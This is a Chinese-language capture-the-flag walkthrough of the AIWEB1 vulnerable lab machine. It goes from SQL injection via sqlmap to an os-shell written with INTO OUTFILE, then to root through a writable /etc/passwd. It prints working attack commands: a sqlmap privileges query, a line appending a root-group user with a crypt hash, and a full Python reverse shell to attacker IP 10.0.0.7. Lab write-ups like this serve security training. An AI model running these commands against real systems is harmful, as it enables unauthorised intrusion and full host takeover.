AIWEB1综合靶场通关教程，从外网打到内网【附靶场环境】

前言

靶场获取后台回【aiweb1】

下载之后设置为nat模式

启动即可，不需要登录

靶机复现

主机发现

访问即可

信息收集robots.txt文件

访问尝试，原来是什么也没有的，404

我们去访问这个上级目录，发现有一个id

注入测试

语法错误，存在sql注入漏洞

抓包

sqlmap

爆表

发现表里什么也没有，换思路

没有权限

dirb扫一下看看，有一个info.php

网站绝对路径

禁用的函数，没有禁用eval

本地文件包含开启，以及php版本（%00截断，低于5.2），但似乎没什么用

这里我们有两种方法

方式一

通过查找secure_file_priv 的值

1、DBA权限，这里我们发现可以对文件进行读写

sqlmap -u 'http://10.0.0.84/se3reTdir777/#' -data "uid=1&Operation=%E6%8F%90%E4%BA%A4" -p 'uid' --privileges

2、secure_file_priv

image-20240802103735767

方式二

从phpinfo中的网站绝对路径进行拼接尝试

image-20240802104005173

image-20240802103844650

image-20240802131255632

有了绝对允许上传文件的角度路径那么我们就能使用sqlmap获取shell

sqlmap获取shell

使用sqlmap的oshell

osshell原理

通过sqlmap -v 5 参数可以查看流量包

image-20240802104556564

通过分析，得到sqlmap的osshell原理就是，通过into outfile/into dumpfile写文件的方式进行文件写入

image-20240802104629208

然后再进行访问这个上传的写入

image-20240802104842231

sqlmap会向这个上传的网站目录写入两个文件

1、文件上传木马文件

2、命令执行文件

文件上传成功后，即可执行命令（与蚁剑不兼容）

❝

注意：如果你退出了这个osshell，那么这两个文件都会自动删除，导致执行不了命令

这是会话维持中，可以执行命令

会话断开

断开后尝试执行命令

上传成功后，没有找到这个flag.txt文件，应该是没有权限读取

10=system('find / -name flag*');

查看/etc/passwd权限，发现漏洞，竟然可以读写文件，我们追加一个用户

新加用户之前创建一个登录密码

perl -le 'print crypt("123456","addedsalt")'

新加一个用户，分到root组进行提权

echo "test:adrla7IBSfTZQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

靶机发现还有nc

反弹shell，查看攻击机ip地址

靶机nc发现没有-e参数，反弹不了shell

看看靶机有没有python

很好，有python，我们使用python反弹shell，攻击机开启监听

中间我断网了，ip地址变了一下，之后操作都是这个ip

我们尝试使用python反弹shell

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.0.0.7',80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

如果没有成功，就多试几次

我们尝试切换用户，提示必须从终端运行

这个问题搞我半天，后来发现可以使用python调用本地shell即终端升级

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py

su test
123456

模糊查找flag的位置

cat 即可

感谢观看！